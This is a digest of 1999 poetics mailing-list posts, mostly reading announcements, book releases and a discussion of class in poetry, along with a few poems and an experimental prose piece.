I would be a hopeless stoop-sitter: So you're the man and you're the wolf .... or is the other way round ... you're a bit of a wolf and a bit of a man ... well you both piss don't you .... I'm sorry, I get confused ... now you're the man, no the wolf, I have it, I swear I have you pegged, you're a were-wolf, isn't that right ... now which of you writes the poetry, is it yourself Mr. Wolf ...?

Oh well.

Mairead

On Tue, 30 Mar 1999, Mark Weiss wrote:

> *Mairead: In any multi-ethnic, multi-class environment everyone does this kind of sniffing. When I moved into a largely Irish and Italian neighborhood in Brooklyn the stoop-sitters very quickly quizzed me and pronounced me Jewish. There was no malice in it, ever, and I lived there for close to a decade. What they learned was what category of their experience I fit into, and my behavior was measured against that norm (and served to moderate it to some extent) rather than against what would be expected of an Irishman. It wasn't "What else can you expect from a Jew" but "He's Jewish, which means that x behavior probably indicates..."*
> *The ability to maintain and apply disparate approximate models of behavior is a necessary survival skill in cosmopolitan environments. Ethnicity and class are among other things behavioral languages that often need to be translated.*
> *My ex-wife, who came from a part of North Carolina where, as she expressed it, there were three classes: Southern, Mountain, and Black, was always amazed at my ability (perfectly average for a New Yorker) to arrive at quick and usually accurate hypotheses about class and origin--her environment, with its fewer and starker distinctions, hadn't trained her to do likewise.*

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13. Brian Stefans
Sachler / Sachner is a collector of concrete poetry books
Wed 31 Mar 1999

--0__=zfSthR4xr2tD2eSo5ujow5ZTunknd1fc6CXDCMKtaP3KA1ILv1AbWLDd

...and is probably worth knowing, though I guess by the tone of your post he's not the most charismatic guy. I don't know what's happening in Miami these days, and it's great to hear about caravans of poets crossing timelines in the South -- sounds very interesting and fresh -- so if any of you do get around to visiting this archive I'd love to hear about it. Here's the URL for their website:

http://www.rediscov.com/sackner.htm

And here's the first paragraph on the site:

Ruth and Marvin Sackner founded the Archive in Miami Beach, Florida in 1979. Its initial mission was to
establish a collection of books, critical texts, periodicals, ephemera, prints, drawings, collages, paintings,
sculptures, objects, manuscripts, and correspondence dealing with precursory and contemporary,
internationally produced, concrete and visual poetry. The precursory material had at its starting point,
Stephane Mallarme
--0__=zfSthR4xr2tD2eSo5ujow5ZTunknd1fc6CXDCMKtaP3KA1ILv1AbWLDd

’s poem, "Un Coup de Des" (Cosmopolis, 1897). The historic antecedents included
works with concrete/visual poetic sensibilities from such twentieth century art movements as Italian
Futurism, Russian and Eastern European Avant Garde, Dada, Surrealism, Bauhaus, De Stijl, Ultra,
Tabu-Dada, Lettrisme, and Ultra-Lettrisme.

PS Does anyone have Augusto de Campos's mailing address (or e-mail address). I owe him some books -- he generously sent me a few of his, which are expensive and multicolored, so I wanted to bung a few his way but discarded the envelope. Thanks...

--0__=zfSthR4xr2tD2eSo5ujow5ZTunknd1fc6CXDCMKtaP3KA1ILv1AbWLDd--

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14. Ron Starr

George Oppen's Alpine - Question

Wed 31 Mar 1999

Were the poems in Oppen's _Alpine: Poems_ (Mount Horeb, WI: Perishable Press, 1969) incorporated in the 1975 Collect Poems?

Does anyone know the contents of _Alpine_ (regardless of their incorporation)?

I'm hoping that someone out there knows in order to spare me the time of an interlibrary loan (really I'm hoping that they're in the _Collected_ by I suspect they aren't....).

Thank you in advance for any help.

- Ron Starr

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15. Taylor Brady

Report from San Francsico (because Kevin and Dodie shouldn't always have to do it)

Wed 31 Mar 1999

It was a great weekend for poetry and related events in San Francisco - and now, it being already Wednesday and I being disinclined to do more JOB - I thought I might pass along a few impressions, for whatever they might be worth...

Friday night witnessed San Franciscan Renee Gladman and New Yorker Eleni Sikelianos reading to a full house in the Small Press Traffic series at New College. Renee read first, a single, long-ish and more-or-less narrative piece whose title I can't quite remember (I have to hear titles - as well as people's names - at least three times before I remember them. My apologies to Renee). At the risk of being hyperbolic, let me say that this was some of the most exciting work I've heard from a writer of my approximate "generation" this year. The story - which, with qualification, is what Renee almost called it - seemed to work as both embodiment and critique of story-telling as an ethnographic or anthropological enterprise. Creating a fictional people, a "culture," Gladman interrogates what there is to be told of such by posing her narrator at its edge or limit (which of course, is also _within_ in a particularly unstable way). Folklore, archive and memory where they stage their mutual acts of departure from and into one another.... The culture to be "told" as an aggregate of departure (don't know why Deleuze occurred to me just then, but so it is).... And some marvelously memorable landscapes of mountains, caves, and one particularly vexed and vexing tree....

In tone and overall construction it was utterly specific to its own imperatives, but strangely reminiscent as well of certain strains within feminist fantasy and science fiction. Echoes of Joanna Russ in its allegorical imagining _otherwise_ of culture, but far more plural and difficult in those allegorical dimensions and in its imagination of the relation between culture and the specific acts of the writer or teller. (Come to think of it, this text might be read productively as one [fictive] way to open up some of the questions in the recent thread spinning off from the "poetics-and/as-cultural-studies" nexus). Echoes also of Octavia Butler

in its specifically (I thought) feminist interest in speculating on endings, cultural and historical - though, unlike Butler, not given to a weirdly romantic "overtelling" of apocalyptic violence (thinking here of _Parable of the Sower_ or _Clay's Ark_, for instance). All this with a consummate poet's ear for the pacing and unfolding of sound, and this comes out in her reading (see below). Who else? Borges, Laura Riding's more fabular prose work, Marcel Griault, Hurston's folklore as if told by Clarice Lispector as a character in one of Tarkovsky's SF films.... Ok, enough - and not to pose these as "influences," but as handles for the description of a piece of writing I'm finding pleasantly quite difficult to describe.

I'm told that the story is part of a manuscript to appear from Kelsey St. Press this winter, so you can look for yourself. I recommend it highly. I also recommend a hearing if she's in your area, as she's a great reader - measured and calm without being leaden or pseudo-"profound." Just slow enough. Anyone who remembers early musical training will know what I mean here: beginners always speed up over the course of a performance, while those stalled out one step above beginning overdo each ponderous articulation in an attempt to _make_ meaning. Renee's at least two steps beyond that - and that's a long way...

During the intermission the tenacious intestinal flu I'd been fighting came back to pick up the records it had conveniently "left behind" after our unfortunate assignation earlier in the week. So by the time the evening's second reader, Eleni Sikelianos, took the lectern, I was doubled over with cramps, trying not to fling a used burrito into the sweatshirt hood of the person in front of me. Lest anyone think this is some version of the poetry world's perennial snide snub, let me be clear that I'm serious - I was in a lot of pain and didn't really hear much of what was going on. My apologies to Eleni - I hope someone else has impressions of her reading they'd like to share.

Saturday and Sunday, in brief, were music nights for me and others. Saturday was the final night of San Francisco's Other Minds festival, which found Jen Hofer, Tanya Hollis and myself in attendance. First on the bill was the U.S. concert premiere of French concrete (sorry, can't do acute accents) composer Luc Ferrari's fourth installment in his _Presque Rien_ series, subtitled _La remontee au village_ (sorry, can't remember French genders just now). Lovely piece - if the various ambient musics are, in Terre Thaemlitz's words "a tactical reversal of figure-ground relationships," then I might describe Ferrari's tape piece as perhaps a further refinement, in which those relationships are not so much reversed as multiplied. The sounds of Ferrari and his wife climbing to an Alpine Italian village figure as a sort of ground bass (I think that's from the program notes) over which variously electronically manipulated sounds - some obviously so, some quite subtly different from "reality" -- from the same walk are

superimposed in a more overtly musical structure. The pluralization of this opposition occurs as one begins to hear, in the "unaltered background," the "sources" of sounds one had taken previously as occupying the "altered foreground." The overall effect is not one of simple reversal, since over the sixteen-minute course of the piece what happens is a cumulative potentiating of forward movement in the background and backward movement in the foreground, until it's only in a very local (second-by-second) sense that one can tell which is which. (Sorry to spend so much time on this, but it occurs to me that music specifically for recorded media, especially music with a "documentary" component as strong as Ferrari's, really is a kind of writing, and might be of interest to people whose interests otherwise run in a more literary direction).

Second up was toy piano virtuoso Margaret Leng Tan, who played works for that instrument by John Cage, Antonio Pinho Vargas, Guy Klucevsek and Toby Twining. The Pinho Vargas piece was my favorite, as it seemed to take the instrument seriously for what it was - scored for two toy pianos, it took advantage of the "bad," tinny timbral qualities of the instruments in a restrained, unflashy piece that gave a lot of space for those dissonant outer partials to ring against each other. The evening's final performance was by the ensemble CRASH, doing choreographed percussion pieces by Mary Ellen Childs. Not my favorite of the night - technically very accomplished, but not (to my jazz and Varese-inhabited ears) very rhythmically interesting, and the choreography, while again a marvel of coordination, started to feel manipulative and gimmicky about halfway into the second of the four or five compositions.

Sunday was the final performance at SF's Sweatshop improv space, and featured a set by the Larry Ochs / Lisle Ellis / Douglas (?) Robinson trio What We Live and two solo sets by Steve Lacy. Since this post has gone on long enough already, I'll simply say that all three sets were intense and beautiful in very different ways - What We Live episodic and quasi-narrative, Lacy linear and "argumentative" like the best of essay writers. (I know that "linear" is often a derogatory term in these here parts, so let me make it clear that I mean to attach quite the opposite value to it). Poetry folk in attendance included Lyn Hejinian, Bill Berkson, Steve Dickison, Jen Hofer, Renee Gladman, and yours truly - many of us hunkered down in the dilapidated couches scribbling furiously throughout the performances.

OK, so that's it, save the stuff I missed (Thursday and Friday at Other Minds: Alvin Lucier, more Margaret Leng Tan, Sam Rivers (!) and Julian Priester (!); Norman Fischer's Saturday afternoon reading at the Attic Club) and the stuff for which I was present in body but not in mind (i.e., Sikelianos at SPT - my apologies again). Maybe someone else will have some recollection of these?

My best to all you folks in Poetics land,
Taylor Brady, once and future lurker

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16. Burt Kimmelman
Lyn Hejinian
Wed 31 Mar 1999

I need to get in touch with Lyn Hejinian via e-mail. Does anyone have an ed-dress for her?

Thanks,

Burt Kimmelman
[redacted]

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17. Charles Alexander
Re: class
Wed 31 Mar 1999

> *I might argue that class is an ever-shifting thing. I came from an upper-middle-class background. Grew up in Silicon Valley, Dad works at Intel, Mom has acrylic nails and hardwood floors. 4 bedroom, 3 car garage. I'm finding that many people make assumptions about my class based on my parents' class--for instance, when my 11-year-old car broke down again, someone asked my why my Dad didn't buy me a new one. My Dad NEVER bought me a car.*

That strikes me as more revealing about the class of the person who asked that question than about you. But that would depend on the tone of the question, too.

I like this thread about class, and what many people have said.

I wonder, though, for those who think class shows through a poet's writing, does it also show through an artist's work, and has this changed over time? For example, can one tell from Van Gogh's sunflowers anything about the class of the artist? Or from Matisse's interiors. Or from a contemporary visual artist's work -- Susan Bee's? or Agnes Denis's? Or is class more specifically inscribed in language arts?

I don't have the answers to these questions -- just wondering what others think about them.

charles
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing

books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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18. travis ortiz
Pamela: a novel by Pamela Lu (Atelos Publishing Project)
Thu 1 Apr 1999

Pamela: A Novel
by Pamela Lu

Atelos is pleased to announce the publication of Pamela: A Novel, by Pamela Lu.

About the book: Although widely known as a poet, Pamela Lu's first full-length book is a prose work, situated somewhere between autobiography and novel. Writing in Poetry Flash, Katy Lederer says of it, "Lyrical in both its intent and intensity, Lu's story swiftly takes its reader to the heart of a poetic ambivalence told through the figures of self, love, and art." The result is an extended social portrait recalling Gertrude Stein's studies of language, habit, and character. The central figure of Pamela: A Novel is the brilliantly intelligent narrator P and the "plot" turns around her examination of her own narrative. This narrative, meanwhile, consists of an intricate structure of encounters, relationships, and stories; out of them P is created and in them her avatar, Pamela, is embodied. For Lu, "oppositional structures within terms of identity and location—here/there, us/them, professional/vocational, culture/subculture—...open the space of the social and philosophical world" (Lytle Shaw, Poetics Journal 10). As P presses on into this world, her insights—her philosophizings amidst the real—are subtle and often perfectly comedic.

About the author:
Pamela Lu grew up in Southern California and attended the University of California, Berkeley. She is one of the editors of Idiom and now lives in San Francisco. Pamela: A Novel is her first book.

About the Atelos project: Atelos was founded in 1995 as a project of Hip's Road. It is devoted to publishing, under the sign of poetry, writing which challenges the conventional definitions of poetry, since such definitions have tended to isolate poetry from intellectual life, arrest its development, and curtail its impact. All the works published as part of the Atelos project are commissioned specifically for it, and each is involved in some way with crossing traditional genre boundaries, including, for example, those that would separate theory from practice, poetry from prose, essay from drama, the visual image from the verbal, the literary from the non-literary, and so forth. The Atelos project when complete will consist of 50 volumes; Pamela: A Novel is volume 4. The project

directors and editors are Lyn Hejinian and Travis Ortiz; the director for production and design is Travis Ortiz.

Ordering information: Pamela: A Novel may be ordered from Small Press Distribution, 1341 Seventh Street, Berkeley, CA 94710-1409; phone [redacted] or toll-free [redacted]; e-mail: [redacted] [*new e-mail address*]

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19. travis ortiz
pamela: a novel--book release party--san francisco
Thu 1 Apr 1999

There will be a book release party this Friday in San Francisco to celebrate Pamela Lu's book, Pamela: A Novel (the most recent book in the Atelos series). Everyone is welcome, so please come and show your support for this great new book (and amazing writer):

> 98 Hill Street (between Valencia and Guerrero)
> San Francisco
>
> Friday, 2 April 1999
> 8:00 PM
>
> for info/directions
> call [redacted]
> or email [redacted]

Books will be available for sale ($10), and I'll be making martinis...

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20. travis ortiz
m. mara-ann & jill stengel reading at the attic (s.f.)
Thu 1 Apr 1999

---

this saturday 4.3.99

m. mara-ann & jill stengel

will be reading at the attic club
in san francisco on 24th at mission.

the reading starts at 5 pm
(& it's happy hour from 5 to 7pm)

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21. **travmar03**

Fw: a Talk by poet Stephen Rodefer

Thu 1 Apr 1999

Dear Poets! Join us Saturday for a talk by poet Stephen Rodefer at Writers House, followed by a reading at the Highwire Gallery with Rodefer and Shawn Walker.

---

saturday
april 3
at 5:00 PM
at the Kelly Writers House, 3805 Locust Walk
the Transparency Machine series at the Kelly Writers House
and Highwire Gallery present

+ + + + + + + + + + + + + + + +
S T E P H E N R O D E F E R
+ + + + + + + + + + + + + + + +
"The Age in its Cage:
A Social Allegory of Literature and the Deformation of the Canonymous"

Stephen Rodefer is the author of several collections of poetry, including _Left Under a Cloud_ (1999), _Answer to Doctor Agathon_ (1995), _Erasers_ (1994), _Leaving_ (1992), _Emergency Measures_ (1987), and _Four Lectures_ (1977). Rodefer recently returned to the United States following three years teaching in Paris and two at Cambridge. He lives and works in Williamsburg, Brooklyn. He has been associated with the Language School Poets and was a student of Charles Olson. He has also taught at San Francisco State University, University of New Mexico-Albuquerque, and others.

The Transparency Machine Series gives writers the chance to situate their work in the context of wider cultural practices -- reading, writing, the visual arts, theory, politics, and mass media.

Followed by an 8:00 pm reading by Stephen Rodefer and Shawn Walker at the Highwire Gallery, 139 N. 2nd Street, between Race and Arch.

from Rodefer's "Subtraction" in _Passing Duration_:

The distance is impossible for each to span. We separate ourselves with a manner of rest, gestures, syllables. Rapid hockets return what left us edgy. The aspect speaks marks, gains favor, slams margins, at last is only money. Space is saved. Agreement names the song the sixth intelligence and we pass along. Solid main we fasten, and only green are wise, only grave are mild. The enamel of our lips is highly lit, so luminous we become as seen.

> *I saw the election with my companions and raised my eyelids higher, sitting in the philosophy of a family. There was a good collection of qualities, but there was not a moral nor geometries, though endless avid rows made the record of their comment. The graveyard lapped the swing where love and work were one. Dido lost her liveliness in the theme that chases this. The word again did fail its argument. The group diminishes to three. And in the other shift the loop that led us there, from pant to hat, from triangle to hair, was cut and reassessed to be a brow beak. Then nothing alone which was not light; nothing does which is not done.*
>
> *Still they beckon the descent. The diminished human world proposes shortening. But it cannot. The ground survives forewarned.*
>
> *--All the Best*

Kelly Writers House
Kyle Connor
Greg Fuchs

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22. derek beaulieu / house press

Fw: Para>poetics

Thu 1 Apr 1999

Para>poetics reading series
Presents
Canadian Poet Kaushalya Bannerji

7PM Thursday, April 8, 1999 at Truck (An Artist-Run Centre)

BSMT 815 1 St. SW (The Grain Exchange Building)

Calgary, Alberta, Canada

Kaushalya Bannerji is a Toronto poet whose words resonate with the force of the political, the conscious, the consciences, the startling, and the brilliant. She has published two books of poetry: A New Remembrance and The Faces of Five O¹clock. Her work has also appeared in a variety of anthologies, including the publications: Pearls of Passion: A Treasure of Lesbian Erotica (Sister Vision Press), Outrage: Dikes and Bi¹s Resist Homophobia (Woman¹s Press), A Lotus of Another Colour: the Unfolding of South Asian Gay and Lesbian Experience (Alyson, USA), and By For and About: Women Writing Culture. She has a passion for the beautiful poem; her words take the reader on journeys that include Amsterdam, Lima, and the other side of town.

This reading is free and open to the public.

We acknowledge the support of the Canada Council for the arts.

Thanks to TRUCK for generously providing their space.

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23. Linda Russo

Re: Barnard Conference...

Thu 1 Apr 1999

---

hi Maria & Chris --

I had the same reaction as Chris, and a similar pang of be-little peoplement -- it wasn't at all clear that what I was getting myself into in agreeing to give a paper was also a bill. Is the practice so common that it goes without saying, either on the form, or on the part of the organizers? Too add insult to naivete (or whatever it is that lead me to think presenting was 'enough'), those who lately got a whiff of the coffee have to pay a 'late fee' totalling $50 for the 2 days (whereas w/student id my fee would have been less than half that) -- granted this IS NOT the MLA, but a small conference with a mixture of profs, grad students, and poets & critics otherwise affilitated, would you say this is the going fare?

At this point though I'm wondering how much I'll even grumble under my breath when I hand over the plastic (I hope they take plastic!) -- because it looks to be an interesting weekend. Your panel by the way chris is on my too see list.

BUT if you chris see a way out of this (other than except maybe assuming a posture of personal insult when asked to pay at the registration table), you know that here's another who was duped.

-----Original Message-----
From: Maria Damon (Maria Damon) <[redacted]>
To: [redacted] <[redacted]>
Date: Tuesday, March 30, 1999 8:15 AM
Subject: Re: Barnard Conference...

> *chris this is pretty common, as at MLA, ASA, etc. you have to register,*
> *which costs bucks, sometimes big bucks, and then pay your own expenses when*
> *yr there... unless you've got a generous dept. or special travel funds...*
> *sucky but true...*

↑ Index

24. juliana spahr

class

Thu 1 Apr 1999

Just went to a talk the other day on Carolyn Chute and class. And then all the talk post-pagemothers on class. It is worrying me. The reason we as a society have trouble talking about class is that it is endlessly complicated. It is hard to quantify, much less smell or generalize about preferences of roughness or smoothness. Once we start to act like it is something that can be called out in the language of clear category (that academic means middle or whatever), we do class the disservice of assuming it is an easy marker. Even though our society, falsely, treats race or gender as something absolute, it has never treated class that way. Yet that class is the language that white people at times use to assert their marginalization makes me nervous about it all the time.

Yet I also think it is crucial to talk about all the time (who knows it might lead to the class revolution). So I am grateful for the discussion.

I guess my question is how do we talk about class while paying attention to how many people pass in both directions all the time? How do we talk about class and make room for the way some people move up and down it all the time? Is class growing up background? Or is it net income at current year? And what are the income levels? Or is it purely cultural? Is there a lower class culture of dirty shirts and beer drinking that the Chute talk seemed to suggest? An upper class culture that owns artyness? How does rural and urban play into this? What about marriage and wives with no income? Does education disqualify one from being lower class? Does one's academic job disqualify one from being lower class anymore? What if you are an adjunct? Does one's Yale undergrad degree on scholarship disqualify? Or if one grows up upper class yet goes to the local community college, does that change?

Like those students who can't understand My Life, I really can't imagine that their background income is that different from Hejinian's--her father was an academic administrator (a decent but not the best paying job), her mother a housewife. The New College, where she worked until recently, is known for its substandard salaries. She doesn't have an advanced degree. What is making her the symbol for middle (?) classness to these students? Is it because she doesn't in My Life put her self forward as a marginalized subject?

I mean these questions not as critique but just as questions. I am glad this discussion has been happening.

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25. Camille Martin
flying burrito series
Thu 1 Apr 1999

N E W O R L E A N S R E A D I N G S E R I E S

El Poeta Presents

The Poet as Shaman

a weekly series at *The Flying Burrito*
Tuesdays 8 p.m.

2018 Magazine Street

Program Director: Dave Brinks

F E A T U R E D P O E T S :

March 23 Amy Ouzoonian / Gathering of Tribes

March 30 Beverly Rainbolt / Chris Champagne

April 6 Valentine Pierce / John Sinclair

April 13 Jose Torres Tama / Kalamu Ya Salaam

April 20 Andrei Codrescu / Dave Brinks

April 27 Kay Murphy / Ralph Adamo

May 4 Rodger Kamenetz / Dennis Formento

May 11 James Nolan / Yictove

May 18 Heather Black / BJ Raineri, Jr.

May 25 Lee Grue / Arthur Pfister

June 1 Nancy Harris / Ahmos Zu-Bolton

June 8 Gina Ferrara / Jonathan Kline

June 15 Beth McCormack / Reverend Goat

June 22 Andy Young / John Cooper

M O R E T O C O M E

www.mojono.com/el_poeta

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26. A. Jenn Sondheim
Confessive-Repulsive Disorder (fwd)
Thu 1 Apr 1999

\

Confessive-Repulsive Disorder

Says Jennifer, which is exactly what I have - she should know, I'm wearing her dirty panties... Ah well... These are notes from _all over._ Jennifer can't stand the fact I'm writing all the time. I find it yummy. But it's a disorder, disorderly - my life's a mess. I'm a piece of shit.

In those painting crits, I tell her, I'm always reminded of other people's work - _this_ painting surrounded by flows and images which inundate it - just like this editor, interrupted by incoming. I'm made entirely out of such information - call it _composition,_ call it fresh-woman composition. Call it fresh-man.

The sea of images and the sea of imaginaries. But this is crazy. Guilt at being part of the war-machine, hopeless and decomposed - nothing stops it but arbitrary actions by arbitrary old white men. Their white is the color of death. Their cocks are violent and filled with poison. They shit on themselves because they can't help it so they clean the rest of the world. The mouths of the rest of the world are filled with missiles. They starve to death with metal shit. Don't forget how a bomb works: it expands.

They have no imaginary. They have to make everything real. They have to make everything hard. They are hard workers. They fuck metal with metal.

I will push the dirty panties up into my hole. I will enjoy myself. I will show you everything at a big party. You will see me and touch me and hear me and smell me. I am yours forever.

Every five years in this big world of ours, there is nothing to write any- more. Every thousand, there are no readers.

Alan

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27. The William Blake Archive
Blake Archive's April Update
Thu 1 Apr 1999

The William Blake Archive <http://www.iath.virginia.edu/blake/> is pleased to announce the publication of two new electronic editions of Blake's satiric

masterpiece, _The Marriage of Heaven and Hell_. They are of copies C and F, both of which are in the Pierpont Morgan Library.

Marriage copy C, printed in 1790 in green ink on both sides of the leaf, was printed and colored in the style of early copies of _Songs of Innocence_. It has not been reproduced in color before. _Marriage_ copy F was beautifully and heavily color printed on one side of the leaf (with copy E) in c. 1794. It was produced in the style used for _Songs of Experience_ of _Songs of Innocence and of Experience_ copy F, color printed in 1794 and recently published in the Archive, as well as for _Visions of the Daughters of Albion_ copy F, also in the Archive.

Marriage is the only illuminated book Blake did not sign and date; he did, however, pen in "1790" over line 1 in plate 3 of copy F, thereby clarifying the plate's allusion to 1757 ("and it is now thirty-three years since its advent"), the year of the Last Judgment, according to Swedenborg, and of Blake's birth.

Copies C and F join _Marriage_ copy D, already in the Archive. Copy D, the Lessing J. Rosenwald copy in the Library of Congress, is also of bibliographical interest, in that it was printed in c. 1795 as part of a set of illuminated books that were printed on folio-size paper. This large-paper set also included _America_ copy A, _All Religions are One_ copy A, _There is No Natural Religion_ copy L, and _The Book of Thel_ copy F, all of which are in the Archive. It also included _Visions of the Daughters of Albion_ copy G, _The First Book of Urizen_ copy B, _Europe_ copy H, and _Songs of Innocence and of Experience_ copy R, all of which will enter the Archive within the next six months.

We now have thirty-one copies of sixteen illuminated books in the Archive. In addition to the books, we recently opened a new wing of the Archive, consisting of an extensive array of supporting materials: an updated and expanded Plan of the Archive, a statement of Editorial Principles and Methodology, a summary of the Archive's technical design and implementation, and a list of Frequently Asked Questions. Our hope is that these extensive documentary materials will prove valuable both to our own growing user community as well as to scholars interested in the theory and practice of electronic editing more generally.

Morris Eaves, Robert N. Essick, Joseph Viscomi, Editors
Matthew Kirschenbaum, Project Manager
The William Blake Archive

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28. Charles Bernstein
April is the cruelest month for poetry ....
Thu 1 Apr 1999

--==========_20110542==_.ALT

The University of Chicago Press website is currently featuring a piece of mine called "Against National Poetry Month as Such". It's at http://www.press.uchicago.edu.

Charles Bernstein

--==========_20110542==_.ALT

<html>
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http://www.press.uchicago.edu.

Charles Bernstein
</html>

--==========_20110542==_.ALT--

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29. Poetry Project
next week
Thu 1 Apr 1999

Here we are a day early, as the office is closed tomorrow...

NEXT WEEK:

Monday, April 5th
Open Reading
Sign-up at 7:30, reading at 8

Wednesday, April 7th
!!!ANNE WALDMAN & VICTOR HERNANDEZ CRUZ!!!

Friday, April 9th
As part of the People's Poetry Gathering
at 9:30 pm
The Shadow Writing Project

at 10:30 pm
Robert Bly & Robert Pinsky
(co-sponsored by City Lore & Poets House)

Other events:

Brenda Coultas, Marcella Durand, Kim Lyons, Prageeta Sharma, and Eleni Sikelianos will talk about Women Writers at the Poetry Project at the Barnard Conference, ("Where Lyric Tradition Meets Language Poetry: Innovation in Contemporary American Poetry by Women") on Friday April 9th at the bright 'n' early hour of 9 am.

Our various subtopics include: "Baby Poems: Notley, Mayer, Waldman, and more"; "Women Publishing/Publishing Women at the Poetry Project"; "Notions of Ethnicity: Creating a Poetic Community"; "A Retrospective of Experimental Women's Writing at the Project"; "Memory & Ascent: Mayer, Notley & Waldman."

For more information & a full schedule of events, call Tiffany Dugan at [redacted].

P.S. Regarding our website, which is temporarily on the blitz (for us--it's still accessible for you), the updated April calendar will be up NEXT WEEK. Also, next week, more additions to the Tiny Press Center!

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30. Kevin L. Magee

Re: SEWN

Thu 1 Apr 1999

NUAGES ROSES

<<au-dessus de la rage des canons longs>>
Senghor/Niedecker

c'était le cri
douze mille mots le même
mon amie, comment
entendrai-je ta voix
livrée aux courants
électriques les morts
et les terres hautes des morts
dans ma case vide de sens
dix ans dans la grimace
des heures dans l'impatience
des heures dans le délire

des heures il y a des heures
pour souffrir dans l'étreinte
du combat tous les heures d'illusions
et les débris d'idées tu m'as dit
d'arbres après la canonnade
les édifices elles m'ont parlé
de l'Absente d'où naître
l'équilibre, ton visage que je recomposais
le sel était de sang par quels
chemins de sel de souffrance
acceptée le baiser qui franchit
les frontières quand passe
l'aile d'acier sur notre empire
en nous comme une citadelle
une promesse un royaume entrevu
auprès de toi j'ai retrouvé
troi cents kilomètres les escadres
aériennes cet ordre de bataille
cette ligne d'acier et de feu
où tonnent de grandes déchirures
de métal sous les bombes sur
la seconde de l'éclair à la sueur
lourde dans tes bras tes seins
et tes pouvoirs les légendes
d'or des nuits nuptiales
et foudroyant les capitales
le long des chemins de guerre
dans le regard des fièvres
des cadences écoute camarades
des siècles d'incendie
écoute quand glissent glacées d'azur
les ailes leurs voiles déployées
et les mythes autour de moi mutilées
au choc des mitrailleuses la vérité
la beauté c'est l'ouvrier brisant
le calme meurtrier de leurs salons
donne-moi tes maines calleuses
et lourdes toi qui luttes pour le repos
de l'autre dans l'Avril d'un autre
ce chant constellé de l'éclatement du combat
chant immense au milieu de mille ruts
couché dans l'ivresse de la moisson mûre

vois le sang de mes mains dites-moi
si ton sang ne s'est-il mêlé
comme le lait et le pain bis du paysan
dans ses mains si calleuses
chaque goutte répandue est une pointe
de feu: ils m'ont dit, danse
pour nous j'ai dansé pour eux
et ils ont ri j'ai travaillé
pour eux et ils ont ri, ils m'ont dit
va mourir pour nous mais j'ai donné
la main aux parias de l'ordure
à fleur de l'âme je serai la mouette
la morte par danser toujours
à rebours la chanson le vin bu
me ramenait à cette autre certitude
elle proclame l'attente amoureuse
elle proclame l'émoi qui fait tremble le corps
elle proclame ton baiser plus fort
que la mort par les routes captives
le long routes du désastre, balles
des chiens dans les halliers noirs
fils du lion qui rugit dans le dos creux
est-ce sa faute si Dieu lui a demandé
de tes cris sa voix bleue dans l'air
lavé de haine dans la fièvre de ce printemps
ils ouvrent leurs ailes et chantent
des Te Deum en latin pies-corbeaux
a ceux qui s'engraissent de meurtres
et mesurent en cadavres les étapes
de leur règne se rejoignent dans la ligne
droite du combat, luttes homériques
sur le roc la Cité de demain le don
de la promise que se lève la nuit
du sexe se désintègre la syntaxe
chante le diamant qui naît des cendres
nous sommes là ensemble comme avant
mon pays de sel et ton pays de neige
chante à l'unisson et ce fut honneur
à mon nom ouvrez ma chair, ma chevelure
mon sperme réel pour t'aimer à jamais
mon corps s'abandonne à toi rends-moi
insensé par d'innombrables moi cuivre et zinc

à mon flanc ici leurs clameurs malheur
ton sexe sont devenus les armes du réel
NUAGES ROSES SUR LES ÉPAULES DES HIBISCUS
écoute-la sous le délire de ton sexe
qui coupe le souffle à mes narines
j'ai besoin je le sais de ton savoir
nous serons encore là toi et moi
comme avant qui donnent de l'allure
l'amour dans ces cuisses dévoilées
au solstice de Juin, comme dans l'an
de la défaite et dans l'an de l'espoir
au destin je veux être un théâtre
dans la parole de l'Absente qui règne

charles dumont

↑ Index

31. Bobbie West
Re: Class, Working Pages, and the Mothers Conference
Thu 1 Apr 1999

Maria Damon wrote:

>>can you mention anyone other than dorothy allison who seems to you to correspond to the class differences you indicate? what about kathy acker? i'd peg her as "nice middle class jewish girl" and she does indeed allude to lots of high-falutin writers in her work, but it's not exactly smooth<<

The mention of Dorothy Allison was in the context of defining class, referring to her
essays on the subject, rather than the grittiness of her fiction. I was thinking more of
the general lack of grit in poetry magazines on the Lang end of the spectrum rather than of individuals (not a blanket criticism; I love a lot of what's called language
poetry). And since I haven't done a study of individual writers' class backgrounds, my
conclusions are mostly of the gut-reaction sort. It would be really interesting to me if
someone did a study to see if my theory holds true. So in that vein, here are a few
more unsubstantiated ideas for some academically inclined person to investigate:

I have the strong impression that among those of us in the nth generation of "innovative" poetry, people who identify more with the working class or poor tend to lean a little more toward the New York (Berrigan) school and those from the middle class are more likely to lean toward Langpo.

More: that "rough" writing seems more acceptable as avant garde fiction than as avant garde poetry and that people from the middle class who like gritty writing are rebelling specifically against those middle-class norms that I mentioned (i.e., smoothing over the rough, hushing the noise, taming the emotions.) Which is why I think Bukowski is so popular. His writing is a direct repudiation of the myth of "the American dream": Life is tough, awkward, painful, dirty, and often beyond our control. Even Bukowski's obnoxious sexism is, in part, his challenge to the 50's view of the dainty little (middle class, white) woman "on a pedestal." As an added bonus for many from the lower classes, his characters are familiar. You say to yourself, "Yeah, I _know_ that person. That could be ol' Dave." You know the nuances of their home life, how their kitchens smell, their social behavior, their accents. And this is important when you're constantly being discounted or erased by mainstream society and its literature.

Geez, how did I get onto Bukowski? Anyhow, I hope this gives y'all somethin' to chew on.

Bobbie

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32. louis stroffolino
CAT REQUEST!!!!!!!
Thu 1 Apr 1999

Dear Poetics people, especially those in the New York area. The poet Ange Mlinko, whose Matinees is wowing them lyric-mongers here in new york, is leaving for morocco, and needs a good home for her two beautiful fun (and complementary) cats---- I had hoped to be able to take them myselves, but no longer can. If anybody can do so (ASAP!!!!!), you will save them from the hell of a shelter..... please backchannel me, thanks, chris stroffolino

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33. Poetics List Administration
LAGNIAPPE
Thu 1 Apr 1999

Ben Friedlander asked that this announcement be forwarded to the list. Chris

---------- Forwarded message ----------

Announcing issue #2 of Lagniappe: Poetry and Poetics in Review (just in time for daylight savings):

AUTHORS REVIEWED INCLUDE (BUT ARE NOT LIMITED TO)
Selby, Ellingham/Killian, Creeley, Stroffolino, Ashbery, Snyder, AND Dosse
BY Joel, Alicia, Steve, Graham, Jonathan, Wyman AND Winnie.

PLUS ESSAYS BY Alan Gilbert AND Edgar Allen Poe

http://writing.upenn.edu/~foust/lagniappe.html

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34. Jessica Pompeii
3 faces
Thu 1 Apr 1999

